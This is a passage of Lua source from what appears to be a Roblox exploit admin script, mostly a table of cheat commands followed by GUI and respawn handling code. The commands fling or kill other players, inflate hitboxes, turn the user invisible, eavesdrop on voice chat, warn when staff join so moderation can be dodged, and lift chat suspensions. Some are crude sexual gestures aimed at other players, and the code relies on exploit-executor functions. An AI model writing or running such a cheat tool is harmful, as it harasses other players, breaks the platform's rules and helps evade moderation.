'lockworkspace / lockws', DESC = 'Locks the whole workspace'} CMDs[#CMDs + 1] = {NAME = 'unlockworkspace / unlockws', DESC = 'Unlocks the whole workspace'} CMDs[#CMDs + 1] = {NAME = 'invisibleparts / invisparts (CLIENT)', DESC = 'Shows invisible parts'} CMDs[#CMDs + 1] = {NAME = 'uninvisibleparts / uninvisparts (CLIENT)', DESC = 'Makes parts affected by invisparts return to normal'} CMDs[#CMDs + 1] = {NAME = 'deleteinvisparts / dip (CLIENT)', DESC = 'Deletes invisible parts'} CMDs[#CMDs + 1] = {NAME = 'gotopart [part name]', DESC = 'Moves your character to a part or multiple parts'} CMDs[#CMDs + 1] = {NAME = 'tweengotopart / tgotopart [part name]', DESC = 'Tweens your character to a part or multiple parts'} CMDs[#CMDs + 1] = {NAME = 'gotopartclass / gpc [class name]', DESC = 'Moves your character to a part or multiple parts based on classname'} CMDs[#CMDs + 1] = {NAME = 'tweengotopartclass / tgpc [class name]', DESC = 'Tweens your character to a part or multiple parts based on classname'} CMDs[#CMDs + 1] = {NAME = 'gotomodel [part name]', DESC = 'Moves your character to a model or multiple models'} CMDs[#CMDs + 1] = {NAME = 'tweengotomodel / tgotomodel [part name]', DESC = 'Tweens your character to a model or multiple models'} CMDs[#CMDs + 1] = {NAME = 'gotopartdelay / gotomodeldelay [num]', DESC = 'Adjusts how quickly you teleport to each part (default is 0.1)'} CMDs[#CMDs + 1] = {NAME = 'bringpart [part name] (CLIENT)', DESC = 'Moves a part or multiple parts to your character'} CMDs[#CMDs + 1] = {NAME = 'bringpartclass / bpc [class name] (CLIENT)', DESC = 'Moves a part or multiple parts to your character based on classname'} CMDs[#CMDs + 1] = {NAME = 'noclickdetectorlimits / nocdlimits', DESC = 'Sets all click detectors MaxActivationDistance to math.huge'} CMDs[#CMDs + 1] = {NAME = 'fireclickdetectors / firecd [name]', DESC = 'Uses all click detectors in a game or uses the optional name'} CMDs[#CMDs + 1] = {NAME = 'firetouchinterests / touchinterests [name]', DESC = 'Uses all touchinterests in a game or uses the optional name'} CMDs[#CMDs + 1] = {NAME = 'noproximitypromptlimits / nopplimits', DESC = 'Sets all proximity prompts MaxActivationDistance to math.huge'} CMDs[#CMDs + 1] = {NAME = 'fireproximityprompts / firepp [name]', DESC = 'Uses all proximity prompts in a game or uses the optional name'} CMDs[#CMDs + 1] = {NAME = 'instantproximityprompts / instantpp', DESC = 'Disable the cooldown for proximity prompts'} CMDs[#CMDs + 1] = {NAME = 'uninstantproximityprompts / uninstantpp', DESC = 'Undo the cooldown removal'} CMDs[#CMDs + 1] = {NAME = 'tpunanchored / tpua [player]', DESC = 'Teleports unanchored parts to a player'} CMDs[#CMDs + 1] = {NAME = 'animsunanchored / freezeua', DESC = 'Freezes unanchored parts'} CMDs[#CMDs + 1] = {NAME = 'thawunanchored / thawua / unfreezeua', DESC = 'Thaws unanchored parts'} CMDs[#CMDs + 1] = {NAME = 'removeterrain / rterrain / noterrain', DESC = 'Removes all terrain'} CMDs[#CMDs + 1] = {NAME = 'clearnilinstances / nonilinstances / cni', DESC = 'Removes nil instances'} CMDs[#CMDs + 1] = {NAME = 'destroyheight / dh [num]', DESC = 'Sets FallenPartsDestroyHeight'} CMDs[#CMDs + 1] = {NAME = 'fakeout', DESC = 'Tp to the void and then back (useful to kill people attached to you)'} CMDs[#CMDs + 1] = {NAME = 'antivoid', DESC = 'Prevents you from falling into the void by launching you upwards'} CMDs[#CMDs + 1] = {NAME = 'unantivoid / noantivoid', DESC = 'Disables antivoid'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'fullbright / fb (CLIENT)', DESC = 'Makes the map brighter / more visible'} CMDs[#CMDs + 1] = {NAME = 'loopfullbright / loopfb (CLIENT)', DESC = 'Makes the map brighter / more visible but looped'} CMDs[#CMDs + 1] = {NAME = 'unloopfullbright / unloopfb', DESC = 'Unloops fullbright'} CMDs[#CMDs + 1] = {NAME = 'ambient [num] [num] [num] (CLIENT)', DESC = 'Changes ambient'} CMDs[#CMDs + 1] = {NAME = 'day (CLIENT)', DESC = 'Changes the time to day for the client'} CMDs[#CMDs + 1] = {NAME = 'night (CLIENT)', DESC = 'Changes the time to night for the client'} CMDs[#CMDs + 1] = {NAME = 'nofog (CLIENT)', DESC = 'Removes fog'} CMDs[#CMDs + 1] = {NAME = 'brightness [num] (CLIENT)', DESC = 'Changes the brightness lighting property'} CMDs[#CMDs + 1] = {NAME = 'globalshadows / gshadows (CLIENT)', DESC = 'Enables global shadows'} CMDs[#CMDs + 1] = {NAME = 'noglobalshadows / nogshadows (CLIENT)', DESC = 'Disables global shadows'} CMDs[#CMDs + 1] = {NAME = 'restorelighting / rlighting', DESC = 'Restores Lighting properties'} CMDs[#CMDs + 1] = {NAME = 'light [radius] [brightness] (CLIENT)', DESC = 'Gives your player dynamic light'} CMDs[#CMDs + 1] = {NAME = 'nolight / unlight', DESC = 'Removes dynamic light from your player'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'inspect / examine [player]', DESC = 'Opens InspectMenu for a certain player'} CMDs[#CMDs + 1] = {NAME = 'age [player]', DESC = 'Tells you the age of a player'} CMDs[#CMDs + 1] = {NAME = 'chatage [player]', DESC = 'Chats the age of a player'} CMDs[#CMDs + 1] = {NAME = 'joindate / jd [player]', DESC = 'Tells you the date the player joined Roblox'} CMDs[#CMDs + 1] = {NAME = 'chatjoindate / cjd [player]', DESC = 'Chats the date the player joined Roblox'} CMDs[#CMDs + 1] = {NAME = 'copyname / copyuser [player]', DESC = 'Copies a players full username to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'userid / id [player]', DESC = 'Notifies a players user ID'} CMDs[#CMDs + 1] = {NAME = 'copyplaceid / placeid', DESC = 'Copies the current place id to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'copygameid / gameid', DESC = 'Copies the current game id to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'copyuserid / copyid [player]', DESC = 'Copies a players user ID to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'appearanceid / aid [player]', DESC = 'Notifies a players appearance ID'} CMDs[#CMDs + 1] = {NAME = 'copyappearanceid / caid [player]', DESC = 'Copies a players appearance ID to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'bang [player] [speed]', DESC = 'owo'} CMDs[#CMDs + 1] = {NAME = 'unbang', DESC = 'uwu'} CMDs[#CMDs + 1] = {NAME = 'carpet [player]', DESC = 'Be someones carpet'} CMDs[#CMDs + 1] = {NAME = 'uncarpet', DESC = 'Undoes carpet'} CMDs[#CMDs + 1] = {NAME = 'friend [player]', DESC = 'Sends a friend request to certain players'} CMDs[#CMDs + 1] = {NAME = 'unfriend [player]', DESC = 'Unfriends certain players'} CMDs[#CMDs + 1] = {NAME = 'headsit [player]', DESC = 'Sit on a players head'} CMDs[#CMDs + 1] = {NAME = 'walkto / follow [player]', DESC = 'Follow a player'} CMDs[#CMDs + 1] = {NAME = 'pathfindwalkto / pathfindfollow [player]', DESC = 'Follow a player using pathfinding'} CMDs[#CMDs + 1] = {NAME = 'pathfindwalktowaypoint / pathfindwalktowp [waypoint]', DESC = 'Walk to a waypoint using pathfinding'} CMDs[#CMDs + 1] = {NAME = 'unwalkto / unfollow', DESC = 'Stops following a player'} CMDs[#CMDs + 1] = {NAME = 'orbit [player] [speed] [distance]', DESC = 'Makes your character orbit around a player with an optional speed and an optional distance'} CMDs[#CMDs + 1] = {NAME = 'unorbit', DESC = 'Disables orbit'} CMDs[#CMDs + 1] = {NAME = 'stareat / stare [player]', DESC = 'Stare / look at a player'} CMDs[#CMDs + 1] = {NAME = 'unstareat / unstare [player]', DESC = 'Disables stareat'} CMDs[#CMDs + 1] = {NAME = 'rolewatch [group id] [role name]', DESC = 'Notify if someone from a watched group joins the server'} CMDs[#CMDs + 1] = {NAME = 'rolewatchstop / unrolewatch', DESC = 'Disable Rolewatch'} CMDs[#CMDs + 1] = {NAME = 'rolewatchleave', DESC = 'Toggle if you should leave the game if someone from a watched group joins the server'} CMDs[#CMDs + 1] = {NAME = 'staffwatch', DESC = 'Notify if a staff member of the game joins the server'} CMDs[#CMDs + 1] = {NAME = 'unstaffwatch', DESC = 'Disable Staffwatch'} CMDs[#CMDs + 1] = {NAME = 'handlekill / hkill [player] [radius] (TOOL)', DESC = 'Kills a player using tool damage (YOU NEED A TOOL)'} CMDs[#CMDs + 1] = {NAME = 'fling', DESC = 'Flings anyone you touch'} CMDs[#CMDs + 1] = {NAME = 'unfling', DESC = 'Disables the fling command'} CMDs[#CMDs + 1] = {NAME = 'flyfling [speed]', DESC = 'Basically the invisfling command but not invisible'} CMDs[#CMDs + 1] = {NAME = 'unflyfling', DESC = 'Disables the flyfling command'} CMDs[#CMDs + 1] = {NAME = 'walkfling', DESC = 'Basically fling but no spinning'} CMDs[#CMDs + 1] = {NAME = 'unwalkfling / nowalkfling', DESC = 'Disables walkfling'} CMDs[#CMDs + 1] = {NAME = 'invisfling', DESC = 'Enables invisible fling (the invis part is patched, try using the god command before using this)'} CMDs[#CMDs + 1] = {NAME = 'antifling', DESC = 'Disables player collisions to prevent you from being flung'} CMDs[#CMDs + 1] = {NAME = 'unantifling', DESC = 'Disables antifling'} CMDs[#CMDs + 1] = {NAME = 'loopoof', DESC = 'Loops everyones character sounds (everyone can hear)'} CMDs[#CMDs + 1] = {NAME = 'unloopoof', DESC = 'Stops the oof chaos'} CMDs[#CMDs + 1] = {NAME = 'muteboombox [player]', DESC = 'Mutes someones boombox'} CMDs[#CMDs + 1] = {NAME = 'unmuteboombox [player]', DESC = 'Unmutes someones boombox'} CMDs[#CMDs + 1] = {NAME = 'hitbox [player] [size] [transparency]', DESC = 'Expands the hitbox for players HumanoidRootPart (default is 1)'} CMDs[#CMDs + 1] = {NAME = 'headsize [player] [size]', DESC = 'Expands the head size for players Head (default is 1)'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'reset', DESC = 'Resets your character normally'} CMDs[#CMDs + 1] = {NAME = 'respawn', DESC = 'Respawns you'} CMDs[#CMDs + 1] = {NAME = 'refresh / re', DESC = 'Respawns and brings you back to the same position'} CMDs[#CMDs + 1] = {NAME = 'god', DESC = 'Makes your character difficult to kill in most games'} CMDs[#CMDs + 1] = {NAME = 'permadeath', DESC = 'Makes you unable to respawn after death'} CMDs[#CMDs + 1] = {NAME = 'invisible / invis', DESC = 'Makes you invisible to other players'} CMDs[#CMDs + 1] = {NAME = 'visible / vis', DESC = 'Makes you visible to other players'} CMDs[#CMDs + 1] = {NAME = 'toolinvisible / toolinvis / tinvis', DESC = 'Makes you invisible to other players and able to use tools'} CMDs[#CMDs + 1] = {NAME = 'speed / ws / walkspeed [num]', DESC = 'Change your walkspeed (default is 16)'} CMDs[#CMDs + 1] = {NAME = 'spoofspeed / spoofws [num]', DESC = 'Spoofs your WalkSpeed on the Client'} CMDs[#CMDs + 1] = {NAME = 'loopspeed / loopws [num]', DESC = 'Loops your walkspeed'} CMDs[#CMDs + 1] = {NAME = 'unloopspeed / unloopws', DESC = 'Turns off loopspeed'} CMDs[#CMDs + 1] = {NAME = 'hipheight / hheight [num]', DESC = 'Adjusts hip height'} CMDs[#CMDs + 1] = {NAME = 'jumppower / jpower / jp [num]', DESC = 'Change a players jump height (default is 50)'} CMDs[#CMDs + 1] = {NAME = 'spoofjumppower / spoofjp [num]', DESC = 'Spoofs your JumpPower on the Client'} CMDs[#CMDs + 1] = {NAME = 'loopjumppower / loopjp [num]', DESC = 'Loops your jump height'} CMDs[#CMDs + 1] = {NAME = 'unloopjumppower / unloopjp', DESC = 'Turns off loopjumppower'} CMDs[#CMDs + 1] = {NAME = 'maxslopeangle / msa [num]', DESC = 'Adjusts MaxSlopeAngle'} CMDs[#CMDs + 1] = {NAME = 'gravity / grav [num] (CLIENT)', DESC = 'Change your gravity'} CMDs[#CMDs + 1] = {NAME = 'sit', DESC = 'Makes your character sit'} CMDs[#CMDs + 1] = {NAME = 'lay / laydown', DESC = 'Makes your character lay down'} CMDs[#CMDs + 1] = {NAME = 'sitwalk', DESC = 'Makes your character sit while still being able to walk'} CMDs[#CMDs + 1] = {NAME = 'nosit', DESC = 'Prevents your character from sitting'} CMDs[#CMDs + 1] = {NAME = 'unnosit', DESC = 'Disables nosit'} CMDs[#CMDs + 1] = {NAME = 'jump', DESC = 'Makes your character jump'} CMDs[#CMDs + 1] = {NAME = 'infinitejump / infjump', DESC = 'Allows you to jump before hitting the ground'} CMDs[#CMDs + 1] = {NAME = 'uninfinitejump / uninfjump', DESC = 'Disables infjump'} CMDs[#CMDs + 1] = {NAME = 'flyjump', DESC = 'Allows you to hold space to fly up'} CMDs[#CMDs + 1] = {NAME = 'unflyjump', DESC = 'Disables flyjump'} CMDs[#CMDs + 1] = {NAME = 'autojump / ajump', DESC = 'Automatically jumps when you run into an object'} CMDs[#CMDs + 1] = {NAME = 'unautojump / unajump', DESC = 'Disables autojump'} CMDs[#CMDs + 1] = {NAME = 'edgejump / ejump', DESC = 'Automatically jumps when you get to the edge of an object'} CMDs[#CMDs + 1] = {NAME = 'unedgejump / unejump', DESC = 'Disables edgejump'} CMDs[#CMDs + 1] = {NAME = 'platformstand / stun', DESC = 'Enables PlatformStand'} CMDs[#CMDs + 1] = {NAME = 'unplatformstand / unstun', DESC = 'Disables PlatformStand'} CMDs[#CMDs + 1] = {NAME = 'norotate / noautorotate', DESC = 'Disables AutoRotate'} CMDs[#CMDs + 1] = {NAME = 'unnorotate / autorotate', DESC = 'Enables AutoRotate'} CMDs[#CMDs + 1] = {NAME = 'enablestate [StateType]', DESC = 'Enables a humanoid state type'} CMDs[#CMDs + 1] = {NAME = 'disablestate [StateType]', DESC = 'Disables a humanoid state type'} CMDs[#CMDs + 1] = {NAME = 'team [team name] (CLIENT)', DESC = 'Changes your team. Sometimes fools localscripts.'} CMDs[#CMDs + 1] = {NAME = 'nobillboardgui / nobgui / noname', DESC = 'Removes billboard and surface GUIs from your players (i.e. name GUIs at cafes)'} CMDs[#CMDs + 1] = {NAME = 'loopnobgui / loopnoname', DESC = 'Loop removes billboard and surface GUIs from your players (i.e. name GUIs at cafes)'} CMDs[#CMDs + 1] = {NAME = 'unloopnobgui / unloopnoname', DESC = 'Disables loopnobgui'} CMDs[#CMDs + 1] = {NAME = 'noarms', DESC = 'Removes your arms'} CMDs[#CMDs + 1] = {NAME = 'nolegs', DESC = 'Removes your legs'} CMDs[#CMDs + 1] = {NAME = 'nolimbs', DESC = 'Removes your limbs'} CMDs[#CMDs + 1] = {NAME = 'naked (CLIENT)', DESC = 'Removes your clothing'} CMDs[#CMDs + 1] = {NAME = 'noface / removeface', DESC = 'Removes your face'} CMDs[#CMDs + 1] = {NAME = 'blockhead', DESC = 'Turns your head into a block'} CMDs[#CMDs + 1] = {NAME = 'blockhats', DESC = 'Turns your hats into blocks'} CMDs[#CMDs + 1] = {NAME = 'blocktool', DESC = 'Turns the currently selected tool into a block'} CMDs[#CMDs + 1] = {NAME = 'creeper', DESC = 'Makes you look like a creeper'} CMDs[#CMDs + 1] = {NAME = 'drophats', DESC = 'Drops your hats'} CMDs[#CMDs + 1] = {NAME = 'nohats / deletehats / rhats', DESC = 'Deletes your hats'} CMDs[#CMDs + 1] = {NAME = 'hatspin / spinhats', DESC = 'Spins your characters accessories'} CMDs[#CMDs + 1] = {NAME = 'unhatspin / unspinhats', DESC = 'Undoes spinhats'} CMDs[#CMDs + 1] = {NAME = 'clearhats / cleanhats', DESC = 'Clears hats in the workspace'} CMDs[#CMDs + 1] = {NAME = 'chardelete / cd [instance name]', DESC = 'Removes any part with a certain name from your character'} CMDs[#CMDs + 1] = {NAME = 'chardeleteclass / cdc [class name]', DESC = 'Removes any part with a certain classname from your character'} CMDs[#CMDs + 1] = {NAME = 'deletevelocity / dv / removeforces', DESC = 'Removes any velocity / force instances in your character'} CMDs[#CMDs + 1] = {NAME = 'weaken [num]', DESC = 'Makes your character less dense'} CMDs[#CMDs + 1] = {NAME = 'unweaken', DESC = 'Sets your characters CustomPhysicalProperties to default'} CMDs[#CMDs + 1] = {NAME = 'strengthen [num]', DESC = 'Makes your character more dense (CustomPhysicalProperties)'} CMDs[#CMDs + 1] = {NAME = 'unstrengthen', DESC = 'Sets your characters CustomPhysicalProperties to default'} CMDs[#CMDs + 1] = {NAME = 'breakvelocity', DESC = 'Sets your characters velocity to 0'} CMDs[#CMDs + 1] = {NAME = 'spin [speed]', DESC = 'Spins your character'} CMDs[#CMDs + 1] = {NAME = 'unspin', DESC = 'Disables spin'} CMDs[#CMDs + 1] = {NAME = 'split', DESC = 'Splits your character in half'} CMDs[#CMDs + 1] = {NAME = 'nilchar', DESC = 'Sets your characters parent to nil'} CMDs[#CMDs + 1] = {NAME = 'unnilchar / nonilchar', DESC = 'Sets your characters parent to workspace'} CMDs[#CMDs + 1] = {NAME = 'noroot / removeroot / rroot', DESC = 'Removes your characters HumanoidRootPart'} CMDs[#CMDs + 1] = {NAME = 'replaceroot', DESC = 'Replaces your characters HumanoidRootPart'} CMDs[#CMDs + 1] = {NAME = 'clearcharappearance / clearchar / clrchar', DESC = 'Removes all accessory, shirt, pants, charactermesh, and bodycolors'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'animation / anim [ID] [speed]', DESC = 'Makes your character perform an animation (must be an animation on the marketplace or by roblox/stickmasterluke to replicate)'} CMDs[#CMDs + 1] = {NAME = 'emote / em [ID] [speed]', DESC = 'Makes your character perform an emote (must be on the marketplace or by roblox/stickmasterluke to replicate)'} CMDs[#CMDs + 1] = {NAME = 'dance', DESC = 'Makes you d a n c e'} CMDs[#CMDs + 1] = {NAME = 'undance', DESC = 'Stops dance animations'} CMDs[#CMDs + 1] = {NAME = 'spasm', DESC = 'Makes you c r a z y'} CMDs[#CMDs + 1] = {NAME = 'unspasm', DESC = 'Stops spasm'} CMDs[#CMDs + 1] = {NAME = 'headthrow', DESC = 'Simply makes you throw your head'} CMDs[#CMDs + 1] = {NAME = 'noanim', DESC = 'Disables your animations'} CMDs[#CMDs + 1] = {NAME = 'reanim', DESC = 'Restores your animations'} CMDs[#CMDs + 1] = {NAME = 'animspeed [num]', DESC = 'Changes the speed of your current animation'} CMDs[#CMDs + 1] = {NAME = 'copyanimation / copyanim / copyemote [player]', DESC = 'Copies someone elses animation'} CMDs[#CMDs + 1] = {NAME = 'copyanimationid / copyanimid / copyemoteid [player]', DESC = 'Copies your animation id or someone elses to your clipboard'} CMDs[#CMDs + 1] = {NAME = 'loopanimation / loopanim', DESC = 'Loops your current animation'} CMDs[#CMDs + 1] = {NAME = 'stopanimations / stopanims', DESC = 'Stops running animations'} CMDs[#CMDs + 1] = {NAME = 'refreshanimations / refreshanims', DESC = 'Refreshes animations'} CMDs[#CMDs + 1] = {NAME = 'allowcustomanim / allowcustomanimations', DESC = 'Lets you use custom animation packs instead'} CMDs[#CMDs + 1] = {NAME = 'unallowcustomanim / unallowcustomanimations', DESC = 'Doesn\'t let you use custom animation packs instead'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'autoclick [click delay] [release delay]', DESC = 'Automatically clicks your mouse with a set delay'} CMDs[#CMDs + 1] = {NAME = 'unautoclick / noautoclick', DESC = 'Turns off autoclick'} CMDs[#CMDs + 1] = {NAME = 'autokeypress [key] [down delay] [up delay]', DESC = 'Automatically presses a key with a set delay'} CMDs[#CMDs + 1] = {NAME = 'unautokeypress', DESC = 'Stops autokeypress'} CMDs[#CMDs + 1] = {NAME = 'hovername', DESC = 'Shows a players username when your mouse is hovered over them'} CMDs[#CMDs + 1] = {NAME = 'unhovername / nohovername', DESC = 'Turns off hovername'} CMDs[#CMDs + 1] = {NAME = 'mousesensitivity / ms [0-10]', DESC = 'Sets your mouse sensitivity (affects first person and right click drag) (default is 1)'} CMDs[#CMDs + 1] = {NAME = 'clickdelete', DESC = 'Go to Settings > Keybinds > Add for click delete'} CMDs[#CMDs + 1] = {NAME = 'clickteleport', DESC = 'Go to Settings > Keybinds > Add for click teleport'} CMDs[#CMDs + 1] = {NAME = 'mouseteleport / mousetp', DESC = 'Teleports your character to your mouse. This is recommended as a keybind'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'tools', DESC = 'Copies tools from ReplicatedStorage and Lighting'} CMDs[#CMDs + 1] = {NAME = 'notools / removetools / deletetools', DESC = 'Removes tools from character and backpack'} CMDs[#CMDs + 1] = {NAME = 'deleteselectedtool / dst', DESC = 'Removes any currently selected tools'} CMDs[#CMDs + 1] = {NAME = 'grabtools', DESC = 'Automatically get tools that are dropped'} CMDs[#CMDs + 1] = {NAME = 'ungrabtools / nograbtools', DESC = 'Disables grabtools'} CMDs[#CMDs + 1] = {NAME = 'copytools [player] (CLIENT)', DESC = 'Copies a players tools'} CMDs[#CMDs + 1] = {NAME = 'dupetools / clonetools [num]', DESC = 'Duplicates your inventory tools a set amount of times'} CMDs[#CMDs + 1] = {NAME = 'droptools', DESC = 'Drops your tools'} CMDs[#CMDs + 1] = {NAME = 'droppabletools', DESC = 'Makes your tools droppable'} CMDs[#CMDs + 1] = {NAME = 'equiptools', DESC = 'Equips every tool in your inventory at once'} CMDs[#CMDs + 1] = {NAME = 'unequiptools', DESC = 'Unequips every tool you are currently holding at once'} CMDs[#CMDs + 1] = {NAME = 'removespecifictool [name]', DESC = 'Automatically remove a specific tool from your inventory'} CMDs[#CMDs + 1] = {NAME = 'unremovespecifictool [name]', DESC = 'Stops removing a specific tool from your inventory'} CMDs[#CMDs + 1] = {NAME = 'clearremovespecifictool', DESC = 'Stop removing all specific tools from your inventory'} CMDs[#CMDs + 1] = {NAME = 'reach [num]', DESC = 'Increases the hitbox of your held tool'} CMDs[#CMDs + 1] = {NAME = 'boxreach [num]', DESC = 'Increases the hitbox of your held tool in a box shape'} CMDs[#CMDs + 1] = {NAME = 'unreach / noreach', DESC = 'Turns off reach'} CMDs[#CMDs + 1] = {NAME = 'grippos [X Y Z]', DESC = 'Changes your current tools grip position'} CMDs[#CMDs + 1] = {NAME = 'usetools [amount] [delay]', DESC = 'Activates all tools in your backpack at the same time'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'addalias [cmd] [alias]', DESC = 'Adds an alias to a command'} CMDs[#CMDs + 1] = {NAME = 'removealias [alias]', DESC = 'Removes a custom alias'} CMDs[#CMDs + 1] = {NAME = 'clraliases', DESC = 'Removes all custom aliases'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'addplugin / plugin [name]', DESC = 'Add a plugin via command'} CMDs[#CMDs + 1] = {NAME = 'removeplugin / deleteplugin [name]', DESC = 'Remove a plugin via command'} CMDs[#CMDs + 1] = {NAME = 'reloadplugin [name]', DESC = 'Reloads a plugin'} CMDs[#CMDs + 1] = {NAME = 'addallplugins / loadallplugins', DESC = 'Adds all available plugins from the workspace folder'} CMDs[#CMDs + 1] = {NAME = '', DESC = ''} CMDs[#CMDs + 1] = {NAME = 'breakloops / break (cmd loops)', DESC = 'Stops any cmd loops (;100^1^cmd)'} CMDs[#CMDs + 1] = {NAME = 'removecmd / deletecmd', DESC = 'Removes a command until the admin is reloaded'} CMDs[#CMDs + 1] = {NAME = 'tpwalk / teleportwalk [num]', DESC = 'Teleports you to your move direction'} CMDs[#CMDs + 1] = {NAME = 'untpwalk / unteleportwalk', DESC = 'Undoes tpwalk / teleportwalk'} CMDs[#CMDs + 1] = {NAME = 'notifyping / ping', DESC = 'Notify yourself your ping'} CMDs[#CMDs + 1] = {NAME = 'trip', DESC = 'Makes your character fall over'} CMDs[#CMDs + 1] = {NAME = 'norender', DESC = 'Disable 3d Rendering to decrease the amount of CPU the client uses'} CMDs[#CMDs + 1] = {NAME = 'render', DESC = 'Enable 3d Rendering'} CMDs[#CMDs + 1] = {NAME = 'use2022materials / 2022materials', DESC = 'Enables 2022 material textures'} CMDs[#CMDs + 1] = {NAME = 'unuse2022materials / un2022materials', DESC = 'Disables 2022 material textures'} CMDs[#CMDs + 1] = {NAME = 'promptr6', DESC = 'Prompts the game to switch your rig type to R6'} CMDs[#CMDs + 1] = {NAME = 'promptr15', DESC = 'Prompts the game to switch your rig type to R15'} CMDs[#CMDs + 1] = {NAME = 'wallwalk / walkonwalls', DESC = 'Walk on walls'} CMDs[#CMDs + 1] = {NAME = 'removeads / adblock', DESC = 'Automatically removes ad billboards'} CMDs[#CMDs + 1] = {NAME = 'scare / spook [player]', DESC = 'Teleports in front of a player for half a second'} CMDs[#CMDs + 1] = {NAME = 'alignmentkeys', DESC = 'Enables the left and right alignment keys (comma and period)'} CMDs[#CMDs + 1] = {NAME = 'unalignmentkeys / noalignmentkeys', DESC = 'Disables the alignment keys'} CMDs[#CMDs + 1] = {NAME = 'ctrllock', DESC = 'Binds Shiftlock to LeftControl'} CMDs[#CMDs + 1] = {NAME = 'unctrllock', DESC = 'Re-binds Shiftlock to LeftShift'} CMDs[#CMDs + 1] = {NAME = 'listento [player]', DESC = 'Listens to the area around a player. Can also eavesdrop with vc'} CMDs[#CMDs + 1] = {NAME = 'unlistento', DESC = 'Disables listento'} CMDs[#CMDs + 1] = {NAME = 'jerk', DESC = 'Makes you jork it'} CMDs[#CMDs + 1] = {NAME = 'unsuspendchat', DESC = 'Unsuspends you from text chat'} CMDs[#CMDs + 1] = {NAME = 'unsuspendvc', DESC = 'Unsuspends you from voice chat'} wait() for i = 1, #CMDs do local newcmd = Example:Clone() newcmd.Parent = CMDsF newcmd.Visible = false newcmd.Text = CMDs[i].NAME newcmd.Name = "CMD" table.insert(text1, newcmd) if CMDs[i].DESC ~= "" then newcmd:SetAttribute("Title", CMDs[i].NAME) newcmd:SetAttribute("Desc", CMDs[i].DESC) newcmd.MouseButton1Down:Connect(function() if not IsOnMobile and newcmd.Visible and newcmd.TextTransparency == 0 then local currentText = Cmdbar.Text Cmdbar:CaptureFocus() autoComplete(newcmd.Text, currentText) maximizeHolder() end end) end end IndexContents("", true) function checkTT() local t local guisAtPosition = COREGUI:GetGuiObjectsAtPosition(IYMouse.X, IYMouse.Y) for _, gui in pairs(guisAtPosition) do if gui.Parent == CMDsF then t = gui end end if t ~= nil and t:GetAttribute("Title") ~= nil then local x = IYMouse.X local y = IYMouse.Y local xP local yP if IYMouse.X > 200 then xP = x - 201 else xP = x + 21 end if IYMouse.Y > (IYMouse.ViewSizeY-96) then yP = y - 97 else yP = y end Tooltip.Position = UDim2.new(0, xP, 0, yP) Description.Text = t:GetAttribute("Desc") if t:GetAttribute("Title") ~= nil then Title_3.Text = t:GetAttribute("Title") else Title_3.Text = '' end Tooltip.Visible = true else Tooltip.Visible = false end end function FindInTable(tbl,val) if tbl == nil then return false end for _,v in pairs(tbl) do if v == val then return true end end return false end function GetInTable(Table, Name) for i = 1, #Table do if Table[i] == Name then return i end end return false end function permadeath(plr) if replicatesignal then replicatesignal(plr.ConnectDiedSignalBackend) task.wait(Players.RespawnTime - 0.1) end end function respawn(plr) if invisRunning then TurnVisible() end local rcdEnabled, wasHidden = false, false if gethidden then rcdEnabled, wasHidden = gethidden(workspace, "RejectCharacterDeletions") ~= Enum.RejectCharacterDeletions.Disabled end if rcdEnabled and replicatesignal then replicatesignal(plr.ConnectDiedSignalBackend) task.wait(Players.RespawnTime - 0.1) replicatesignal(plr.Kill) elseif rcdEnabled and not replicatesignal then notify("Incompatible Exploit", "Your exploit does not support this command (missing replicatesignal)") else local char = plr.Character local hum = char:FindFirstChildWhichIsA("Humanoid") if hum then hum:ChangeState(Enum.HumanoidStateType.Dead) end char:ClearAllChildren() local newChar = Instance.new("Model") newChar.Parent = workspace plr.Character = newChar task.wait() plr.Character = char newChar:Destroy() end end local refreshCmd = false function refresh(plr) refreshCmd = true local root = plr.Character:WaitForChild("HumanoidRootPart") local pos = root.CFrame local pos1 = workspace.CurrentCamera.CFrame respawn(plr) task.spawn(function() plr.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame, workspace.CurrentCamera.CFrame = pos, task.wait() and pos1 refreshCmd = false end) end local lastDeath function onDied() task.spawn(function() if pcall(function() Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') end) and Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Died:Connect(function() if getRoot(Players.LocalPlayer.Character) then lastDeath = getRoot(Players.LocalPlayer.Character).CFrame end end) else wait(2) onDied() end end) end Clip = true spDelay = 0.1 Players.LocalPlayer.CharacterAdded:Connect(function() NOFLY() Floating = false if not Clip then execCmd('clip') end repeat wait() until getRoot(Players.LocalPlayer.Character) pcall(function() if spawnpoint and not refreshCmd and spawnpos ~= nil then wait(spDelay) getRoot(Players.LocalPlayer.Character).CFrame = spawnpos end end) onDied() end) onDied() function getstring(begin) local start = begin-1 local AA = '' for i,v in pairs(cargs) do if i > start then if AA ~= '' then AA = AA .. ' ' .. v else AA = AA .. v end end end return AA end findCmd=function(cmd_name) for i,v in pairs(cmds)do if v.NAME:lower()==cmd_name:lower() or FindInTable(v.ALIAS,cmd_name:lower()) then return v end end return customAlias[cmd_name:lower()] end function splitString(str,delim) local broken = {} if delim == nil then delim = "," end for w in string.gmatch(str,"[^"..delim.."]+") do table.insert(broken,w) end return broken end cmdHistory = {} local lastCmds = {} local historyCount = 0 local split=" " local lastBreakTime = 0 function execCmd(cmdStr,speaker,store) cmdStr = cmdStr:gsub("%s+$","") task.spawn(function() local rawCmdStr = cmdStr cmdStr = 